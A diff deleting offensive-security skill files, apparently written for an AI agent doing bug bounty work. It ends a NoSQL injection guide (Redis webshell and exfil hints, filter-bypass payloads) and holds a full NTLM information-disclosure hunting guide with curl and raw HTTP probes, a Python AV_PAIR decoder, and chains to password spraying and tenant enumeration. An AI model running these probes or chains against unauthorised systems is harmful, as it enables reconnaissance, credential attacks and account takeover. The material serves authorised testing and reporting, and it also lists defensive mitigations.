|
130
|
-
# CONFIG SET webshell (if Redis has write access to web root)
|
|
131
|
-
# Use SLAVEOF for OOB data exfil
|
|
132
|
-
```
|
|
133
|
-
|
|
134
|
-
---
|
|
135
|
-
|
|
136
|
-
## Bypass Table
|
|
137
|
-
|
|
138
|
-
| Defense | Bypass |
|
|
139
|
-
|---------|--------|
|
|
140
|
-
| JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) |
|
|
141
|
-
| Sanitizes `$` | Unicode: `$gt` |
|
|
142
|
-
| Blocks operator keys | Nested objects deeper in structure |
|
|
143
|
-
|
|
144
|
-
---
|
|
145
|
-
|
|
146
|
-
## Chain Table
|
|
147
|
-
|
|
148
|
-
| NoSQLi finding | Chain to | Impact |
|
|
149
|
-
|---------------|----------|--------|
|
|
150
|
-
| Auth bypass | Admin panel access | Full admin control |
|
|
151
|
-
| User enum via regex | Credential stuffing | Mass ATO |
|
|
152
|
-
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
|
|
153
|
-
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |
|
|
154
|
-
|
|
155
|
-
---
|
|
156
|
-
|
|
157
|
-
## Validation
|
|
158
|
-
|
|
159
|
-
✅ Auth bypass: logged in without valid credentials, received valid session token
|
|
160
|
-
✅ Data dump: returned users/documents you shouldn't have access to
|
|
161
|
-
✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
|
|
162
|
-
|
|
163
|
-
**Severity:**
|
|
164
|
-
- Auth bypass as admin: Critical
|
|
165
|
-
- User collection dump: High
|
|
166
|
-
- Blind injection (no useful exfil): Medium
|
|
@@ -1,270 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-ntlm-info
|
|
3
|
-
description: "Hunt NTLM/Negotiate information disclosure on internet-reachable IIS/SharePoint/Exchange. Anonymous NTLM Type-2 challenge capture leaks NetBIOS domain, internal DNS forest, computer name, AD timestamp via AV_PAIRS structure. Default Windows-installer hostnames (WIN-XXXXXXXXXXX pattern) signal lazy provisioning. Use when target advertises `WWW-Authenticate: NTLM` or `Negotiate` headers anonymously."
|
|
4
|
-
sources: github, authorized-engagement
|
|
5
|
-
report_count: 1
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
## Crown Jewel Targets
|
|
9
|
-
|
|
10
|
-
NTLM info disclosure is a **Medium-severity finding when chained to context** — the leak itself is intentional protocol behavior (RFC-compliant NTLMSSP challenge), but on internet-exposed enterprise infrastructure it provides exact reconnaissance for the next stage of an attack. Highest-value targets:
|
|
11
|
-
|
|
12
|
-
- **Internet-reachable IIS / SharePoint / Exchange / OWA** with dual-auth (Forms + NTLM, or NTLM + Kerberos)
|
|
13
|
-
- **Citrix NetScaler / VMware Horizon View** internet-facing gateways with NTLM-backed AD auth
|
|
14
|
-
- **Lync / Skype for Business / Teams On-Prem** edge servers
|
|
15
|
-
- **WSUS / Windows Update Services** with NTLM-protected admin paths
|
|
16
|
-
- **CIFS-style fileshare proxies** (HCL Sametime, IBM Notes Domino) that proxy NTLM
|
|
17
|
-
- **Legacy SharePoint farms** that left NTLM enabled on the public-zone IIS binding
|
|
18
|
-
|
|
19
|
-
**What makes this pay:**
|
|
20
|
-
- Internal AD domain disclosure (parent-forest mapping, e.g. `customer.parent-corp.example` → tenant inside corporate-AD tree)
|
|
21
|
-
- Default-Windows-hostname disclosure (`WIN-XXXXXXXXXXX` pattern signals rushed provisioning → likely default service-account passwords)
|
|
22
|
-
- Timestamp leak (used in NTLMv2 hash cracking acceleration)
|
|
23
|
-
- Direct attack-map enrichment for credential spraying combined with `hunt-auth-bypass` Legacy-Protocol Matrix
|
|
24
|
-
|
|
25
|
-
---
|
|
26
|
-
|
|
27
|
-
## Attack Surface Signals
|
|
28
|
-
|
|
29
|
-
**Response headers signaling NTLM availability:**
|
|
30
|
-
```
|
|
31
|
-
WWW-Authenticate: NTLM
|
|
32
|
-
WWW-Authenticate: Negotiate
|
|
33
|
-
WWW-Authenticate: NTLM, Negotiate
|
|
34
|
-
WWW-Authenticate: Negotiate, NTLM
|
|
35
|
-
```
|
|
36
|
-
|
|
37
|
-
**URL patterns where NTLM is commonly exposed:**
|
|
38
|
-
```
|
|
39
|
-
/_api/web/CurrentUser (SharePoint REST)
|
|
40
|
-
/_vti_bin/*.asmx (SharePoint legacy SOAP)
|
|
41
|
-
/EWS/Exchange.asmx (Exchange Web Services)
|
|
42
|
-
/Autodiscover/Autodiscover.xml (Exchange autodiscover)
|
|
43
|
-
/owa/ (Outlook Web App)
|
|
44
|
-
/Microsoft-Server-ActiveSync (ActiveSync)
|
|
45
|
-
/PowerShell (Exchange Mgmt Shell over HTTPS)
|
|
46
|
-
/api/v3/ (TeamCity, Atlassian)
|
|
47
|
-
/wsus/ (Windows Server Update Services)
|
|
48
|
-
/manager/html (some Tomcat behind IIS)
|
|
49
|
-
/iisstart.htm (default IIS, sometimes reveals NTLM upstream)
|
|
50
|
-
```
|
|
51
|
-
|
|
52
|
-
**Tech-stack signals:**
|
|
53
|
-
- IIS on the public internet (almost always NTLM-capable, even if Forms is the front)
|
|
54
|
-
- SharePoint Web Front End (almost always dual-auth Forms + NTLM)
|
|
55
|
-
- Exchange edge transport
|
|
56
|
-
- Server header `Microsoft-HTTPAPI/2.0`, `Microsoft-IIS/*`, `IIS/*`
|
|
57
|
-
|
|
58
|
-
---
|
|
59
|
-
|
|
60
|
-
## Step-by-Step Hunting Methodology
|
|
61
|
-
|
|
62
|
-
1. **Probe every anonymous endpoint for `WWW-Authenticate: NTLM`.** Send a vanilla GET and inspect response headers. If NTLM is offered, proceed.
|
|
63
|
-
|
|
64
|
-
2. **Send a valid NTLMSSP Type-1 message anonymously.** The Type-1 base64 below requests NetBIOS-domain and Workstation info from the server:
|
|
65
|
-
```
|
|
66
|
-
Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
|
|
67
|
-
```
|
|
68
|
-
This is the standard test Type-1 with negotiate flags `NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_OEM | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56 | NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_TARGET_INFO`. The `OS Version` field (`06 01 B1 1D 00 00 00 0F`) is Windows 7 build 7601 — accepted by virtually every NTLM responder.
|
|
69
|
-
|
|
70
|
-
3. **Use a keep-alive raw socket, not Python requests / curl one-shot.** Most HTTP libraries close the connection between the Type-1 send and Type-2 reception. Use one of:
|
|
71
|
-
- Burp Repeater with `Connection: keep-alive` set explicitly
|
|
72
|
-
- Burp `mcp__burp__send_http1_request` (handles keep-alive natively)
|
|
73
|
-
- Python raw `socket` + `ssl.wrap_socket` (see Payload section)
|
|
74
|
-
|
|
75
|
-
4. **Parse the Type-2 challenge from the `WWW-Authenticate: NTLM <base64>` response header.** Base64-decode the value. The structure is NTLMSSP per MS-NLMP:
|
|
76
|
-
- Bytes 0-7: literal `NTLMSSP\0`
|
|
77
|
-
- Bytes 8-11: MessageType = `\x02\x00\x00\x00`
|
|
78
|
-
- Bytes 12-19: TargetName SecurityBuffer (len, alloc, offset)
|
|
79
|
-
- Bytes 20-23: NegotiateFlags
|
|
80
|
-
- Bytes 24-31: Server Challenge (8 bytes — useful for offline cracking)
|
|
81
|
-
- Bytes 40-47: TargetInfo SecurityBuffer (len, alloc, offset)
|
|
82
|
-
- TargetInfo body: `AV_PAIRS` array of (AvId u16, AvLen u16, Value)
|
|
83
|
-
|
|
84
|
-
5. **Decode the AV_PAIRS.** The AvIds you care about:
|
|
85
|
-
- `1` = NetBIOS Computer Name
|
|
86
|
-
- `2` = NetBIOS Domain Name
|
|
87
|
-
- `3` = DNS Computer Name (FQDN of the responding server)
|
|
88
|
-
- `4` = DNS Domain Name (the AD domain)
|
|
89
|
-
- `5` = DNS Tree Name (the AD forest root)
|
|
90
|
-
- `7` = Timestamp (FILETIME, useful for NTLMv2 hash relay / cracking)
|
|
91
|
-
- `9` = Target Name (in newer NTLMSSP)
|
|
92
|
-
|
|
93
|
-
6. **Map findings to severity tier:**
|
|
94
|
-
- Internet-exposed + default `WIN-XXXXXXXXXXX` hostname + corporate-AD-tree disclosure → **Medium**
|
|
95
|
-
- Internet-exposed + named-server hostname (`SPWEB01.corp.example`) + corporate-AD-tree → **Low-Medium**
|
|
96
|
-
- Intranet-only + any disclosure → **Informational**
|
|
97
|
-
- Combine with `hunt-auth-bypass` Legacy-Protocol Matrix findings on the same host → **upgrade the auth-bypass finding's severity** since the attacker has UPN/SAM format ready
|
|
98
|
-
|
|
99
|
-
7. **Check the timestamp.** If `AV[7]` returns a current FILETIME within ~5s of `Date:` header, the system clock is synced — useful intel for Kerberos golden-ticket forging (out of bug-bounty scope but red-team relevant).
|
|
100
|
-
|
|
101
|
-
8. **Cross-reference with subdomain enum.** The DNS Tree name often reveals the *parent forest* — e.g. `customer.parent-corp.example` reveals the customer is a sub-domain INSIDE corporate-parent AD, not a separate tenant. This is a privacy / topology-disclosure escalation that programs sometimes accept as Medium.
|
|
102
|
-
|
|
103
|
-
---
|
|
104
|
-
|
|
105
|
-
## Payload & Detection Patterns
|
|
106
|
-
|
|
107
|
-
**Generic NTLM Type-1 anonymous probe (curl + raw socket fallback):**
|
|
108
|
-
```bash
|
|
109
|
-
# Most one-shot curl runs DON'T return Type-2 because the connection closes.
|
|
110
|
-
# Use this as a quick probe to confirm NTLM is offered:
|
|
111
|
-
curl -sk -I -H "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" \
|
|
112
|
-
"https://target.example/_api/web/CurrentUser" 2>&1 | grep -i "WWW-Authenticate"
|
|
113
|
-
```
|
|
114
|
-
|
|
115
|
-
**Burp `send_http1_request` (recommended for full Type-2 capture):**
|
|
116
|
-
```
|
|
117
|
-
GET /_api/web/CurrentUser HTTP/1.1
|
|
118
|
-
Host: target.example
|
|
119
|
-
Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
|
|
120
|
-
Connection: keep-alive
|
|
121
|
-
User-Agent: Mozilla/5.0
|
|
122
|
-
|
|
123
|
-
```
|
|
124
|
-
|
|
125
|
-
**Python raw socket + AV_PAIR decoder:**
|
|
126
|
-
```python
|
|
127
|
-
import socket, ssl, base64, struct, re
|
|
128
|
-
from datetime import datetime, timezone
|
|
129
|
-
|
|
130
|
-
HOST = "target.example"
|
|
131
|
-
ctx = ssl.create_default_context()
|
|
132
|
-
ctx.check_hostname = False
|
|
133
|
-
ctx.verify_mode = ssl.CERT_NONE
|
|
134
|
-
|
|
135
|
-
s = ctx.wrap_socket(socket.create_connection((HOST, 443)), server_hostname=HOST)
|
|
136
|
-
s.sendall(
|
|
137
|
-
f"GET /_api/web/CurrentUser HTTP/1.1\r\n"
|
|
138
|
-
f"Host: {HOST}\r\n"
|
|
139
|
-
"Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==\r\n"
|
|
140
|
-
"User-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n".encode()
|
|
141
|
-
)
|
|
142
|
-
data = b""
|
|
143
|
-
while True:
|
|
144
|
-
chunk = s.recv(8192)
|
|
145
|
-
if not chunk: break
|
|
146
|
-
data += chunk
|
|
147
|
-
if b"\r\n\r\n" in data: break
|
|
148
|
-
|
|
149
|
-
m = re.search(rb"WWW-Authenticate:\s*NTLM\s+([A-Za-z0-9+/=]{20,})", data, re.I)
|
|
150
|
-
if m:
|
|
151
|
-
b = base64.b64decode(m.group(1).decode("ascii"))
|
|
152
|
-
assert b[:8] == b"NTLMSSP\x00"
|
|
153
|
-
tn_len, _, tn_off = struct.unpack_from('<HHI', b, 12)
|
|
154
|
-
ti_len, _, ti_off = struct.unpack_from('<HHI', b, 40)
|
|
155
|
-
print(f"TargetName: {b[tn_off:tn_off+tn_len].decode('utf-16-le', errors='ignore')!r}")
|
|
156
|
-
av_types = {1:'NetBIOS Computer Name', 2:'NetBIOS Domain Name',
|
|
157
|
-
3:'DNS Computer Name', 4:'DNS Domain Name',
|
|
158
|
-
5:'DNS Tree Name', 7:'Timestamp', 9:'Target Name'}
|
|
159
|
-
i = 0
|
|
160
|
-
ti = b[ti_off:ti_off+ti_len]
|
|
161
|
-
while i < len(ti):
|
|
162
|
-
av_id, av_len = struct.unpack_from('<HH', ti, i)
|
|
163
|
-
if av_id == 0: break
|
|
164
|
-
val = ti[i+4:i+4+av_len]
|
|
165
|
-
if av_id == 7:
|
|
166
|
-
ts = struct.unpack('<Q', val[:8])[0]
|
|
167
|
-
secs = (ts - 116444736000000000) / 10000000
|
|
168
|
-
vs = datetime.fromtimestamp(secs, tz=timezone.utc).isoformat()
|
|
169
|
-
else:
|
|
170
|
-
vs = val.decode('utf-16-le', errors='ignore')
|
|
171
|
-
print(f" AV[{av_id}] {av_types.get(av_id, '?'):28s}: {vs!r}")
|
|
172
|
-
i += 4 + av_len
|
|
173
|
-
```
|
|
174
|
-
|
|
175
|
-
**Burp Collaborator NOT needed** for this finding class — the data leak is in the synchronous response, not via OOB.
|
|
176
|
-
|
|
177
|
-
---
|
|
178
|
-
|
|
179
|
-
## Common Root Causes
|
|
180
|
-
|
|
181
|
-
1. **Dual-auth IIS bindings on the public zone.** Administrators leave NTLM enabled on the public-facing IIS site even when Forms auth is the intended entry point. Internal users get SSO; external attackers get the AD topology leak.
|
|
182
|
-
|
|
183
|
-
2. **Default IIS Application Pool identity left as `ApplicationPoolIdentity`.** Combined with default hostname, signals provisioning never went past first-boot.
|
|
184
|
-
|
|
185
|
-
3. **Server never renamed from Windows-installer-generated hostname.** Microsoft's default `WIN-XXXXXXXXXXX` 11-character pattern is the immediate tell. Sometimes also `WORKGROUP\WIN-...` in older boxes.
|
|
186
|
-
|
|
187
|
-
4. **Sub-domain joined to corporate forest without zone-isolation.** European-integrator case: a a European importer's SharePoint test environment is a child domain inside a corporate global AD, disclosed via NTLM DNS Tree Name. The customer probably intends `customer.parent-corp.example` to be operationally separate but the NTLM Type-2 reveals the forest membership to anyone who probes.
|
|
188
|
-
|
|
189
|
-
5. **IIS Extended Protection NOT enabled.** When `<system.webServer><security><authentication><windowsAuthentication extendedProtection>` is `None` (the default), the NTLM challenge is sent to any anonymous client. When set to `Required`, NTLM is restricted to authenticated callers — and the AV-pair leak is mitigated.
|
|
190
|
-
|
|
191
|
-
6. **No `WindowsAuthentication` removed from `applicationHost.config` for internet-exposed sites.** SharePoint Central Admin sometimes leaves this enabled even when SP zone configuration only enables Forms.
|
|
192
|
-
|
|
193
|
-
---
|
|
194
|
-
|
|
195
|
-
## Bypass Techniques
|
|
196
|
-
|
|
197
|
-
This skill describes a disclosure leak, not an authentication bypass. The "bypass" question is: *how do defenders block this AV-pair leak while still allowing legitimate NTLM auth?*
|
|
198
|
-
|
|
199
|
-
| Defense | Effectiveness |
|
|
200
|
-
|---|---|
|
|
201
|
-
| **Disable NTLM on the public IIS binding entirely** (Forms-only) | Best — eliminates the surface |
|
|
202
|
-
| **IIS Extended Protection = Required** | Restricts NTLM challenge to authenticated callers; AV-pair leak mitigated |
|
|
203
|
-
| **Reverse-proxy strip `WWW-Authenticate` from anonymous responses** | Sometimes works but breaks legitimate clients |
|
|
204
|
-
| **Rate-limit the Type-1 → Type-2 endpoint** | Doesn't prevent disclosure, only slows enumeration |
|
|
205
|
-
| **Rename the Windows host from `WIN-XXXXXXXXXXX`** | Removes the "lazy provisioning" tell; doesn't stop the leak |
|
|
206
|
-
| **Move the SP/Exchange farm to a child AD with no cross-trust to corporate** | Mitigates the *forest disclosure*; doesn't stop the leak |
|
|
207
|
-
|
|
208
|
-
For the attacker: there's no "bypass" needed — the leak is the finding.
|
|
209
|
-
|
|
210
|
-
---
|
|
211
|
-
|
|
212
|
-
## Gate 0 Validation
|
|
213
|
-
|
|
214
|
-
Before writing the report, confirm:
|
|
215
|
-
|
|
216
|
-
1. **What can the attacker do RIGHT NOW with this disclosure?**
|
|
217
|
-
- Internet-exposed + default hostname + corporate forest disclosed → **Medium**: attacker has UPN format for `hunt-auth-bypass` matrix probes, plus knows server has likely-default service accounts.
|
|
218
|
-
- Intranet-only or only NetBIOS name → **Informational**.
|
|
219
|
-
|
|
220
|
-
2. **Does the program accept information-disclosure findings without a chained impact?**
|
|
221
|
-
- Many programs (Microsoft, large enterprise VDPs) DO accept this when the leaked info includes internal AD topology.
|
|
222
|
-
- Many programs (Shopify, GitHub) reject info disclosure without a chained impact.
|
|
223
|
-
- Read the program scope before submitting; if borderline, chain with a Tier-A finding from `hunt-auth-bypass`.
|
|
224
|
-
|
|
225
|
-
3. **Can you reproduce in <5 minutes from a fresh shell?**
|
|
226
|
-
- The Python snippet above is the canonical reproduction. Include it verbatim in the report.
|
|
227
|
-
|
|
228
|
-
---
|
|
229
|
-
|
|
230
|
-
## Real Impact Examples
|
|
231
|
-
|
|
232
|
-
### Scenario A — Enterprise SharePoint inside parent corporate AD
|
|
233
|
-
|
|
234
|
-
Target: `https://target-portal.example/` — a enterprise dealer portal (test mirror) operated by a system integrator.
|
|
235
|
-
|
|
236
|
-
Sending the anonymous Type-1 message to `/_api/web/CurrentUser` returned a Type-2 challenge whose AV_PAIRS decoded to:
|
|
237
|
-
|
|
238
|
-
```
|
|
239
|
-
NetBIOS Domain Name: <CustomerName>
|
|
240
|
-
NetBIOS Computer Name: WIN-XXXXXXXXXXX
|
|
241
|
-
DNS Domain Name: customer.parent-corp.example
|
|
242
|
-
DNS Computer Name: WIN-XXXXXXXXXXX.customer.parent-corp.example
|
|
243
|
-
DNS Tree Name: customer.parent-corp.example
|
|
244
|
-
Timestamp: 2026-05-13T15:55:37.922Z
|
|
245
|
-
```
|
|
246
|
-
|
|
247
|
-
Three escalation paths:
|
|
248
|
-
1. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`)** — server was never renamed after OS install; strong signal of lazy provisioning. Likely default service-account passwords on the SQL backend, default WSUS config, etc.
|
|
249
|
-
2. **Sub-domain inside corporate-parent AD (`customer.parent-corp.example`)** — the customer is a child domain inside <ParentCorp>'s global Active Directory. A compromise of this test farm has potential cross-trust to corporate-parent.
|
|
250
|
-
3. **UPN format known** — combined with `hunt-auth-bypass`'s discovery of an anonymous brute-force endpoint on `/_vti_bin/Authentication.asmx`, the attacker has both the credential format (`firstname.lastname@customer.parent-corp.example` or `<CustomerName>\firstname.lastname`) and the unlimited submission endpoint.
|
|
251
|
-
|
|
252
|
-
Reported severity: **Medium**, with a note that the chain with the Authentication.asmx anonymous brute-force makes the combined attack Critical.
|
|
253
|
-
|
|
254
|
-
### Scenario B — Exchange edge with NTLM-protected EWS
|
|
255
|
-
|
|
256
|
-
Target: `https://mail.example.com/EWS/Exchange.asmx`. Type-1 probe returns Type-2 with DNS Tree Name `corp.example.com` and DNS Computer Name `MAIL01.corp.example.com`. Confirms the Exchange edge is domain-joined to corporate AD (rather than running in a DMZ-isolated AD). For an attacker with the matching `hunt-mfa-bypass` / `hunt-auth-bypass` chain, the leaked UPN format and server-name format accelerate credential spraying by removing the recon step. Reported severity: Low-Medium depending on program.
|
|
257
|
-
|
|
258
|
-
### Scenario C — Intranet-only intentional leak (not a finding)
|
|
259
|
-
|
|
260
|
-
Target: `https://intranet.corp.example` (clearly internal, behind VPN). Type-1 returns full AV-pair set. Not reportable — this is intended NTLM behavior on intranet, and the disclosure is to authenticated VPN users who already see the same data via `nltest /dsgetdc:corp.example.com`. Recognize and drop.
|
|
261
|
-
|
|
262
|
-
---
|
|
263
|
-
|
|
264
|
-
## Related Skills & Chains
|
|
265
|
-
|
|
266
|
-
- **`hunt-sharepoint`** — SharePoint farms emit anonymous Type-2 challenges on `/_vti_bin/` by default; this is one of the most reliable ways to get internal AD topology. Chain primitive: SharePoint discovered → NTLM Type-2 capture on `/_vti_bin/Lists.asmx` → `hunt-ntlm-info` AV_PAIR decode → internal forest name → `m365-entra-attack` ROPC spray on Entra tenant tied to that forest.
|
|
267
|
-
- **`m365-entra-attack`** — Leaked NetBIOS domain + UPN suffix is the missing piece for a credible password spray. Chain primitive: NTLM Type-2 yields `corp.example.com` DNS tree → cross-reference Entra tenant via `https://login.microsoftonline.com/corp.example.com/.well-known/openid-configuration` → `m365-entra-attack` AADSTS error-differential username enumeration on resolved tenant.
|
|
268
|
-
- **`hunt-aspnet`** — IIS sites running ASP.NET frequently expose NTLM on management paths. Chain primitive: NTLM Type-2 on `/owa/`, `/ecp/`, `/rpc/`, `/aspnet_client/` → confirm IIS + ASP.NET version → `hunt-aspnet` ViewState / `.axd` enumeration on same host.
|
|
269
|
-
- **`offensive-osint`** — The hostname pattern `WIN-XXXXXXXXXXX` signals lazy provisioning and predicts other weak hygiene. Chain primitive: NTLM Type-2 returns default-installer hostname → flag as low-maturity environment → `offensive-osint` deep recon (cert transparency, GitHub leakage, breach corpus correlation) is high-yield on this org.
|
|
270
|
-
- **`triage-validation`** — Most NTLM info-disclosure findings die at the 7-Question Gate on "is this exploitable" — pure topology disclosure is Low/Informational. Chain primitive: pull every NTLM-info finding through `triage-validation` BEFORE writing it up; only report if (a) leaks UPN format that accelerates spray, or (b) leaks production hostname mapping (`redteam-report-template` for the chain-narrative).
|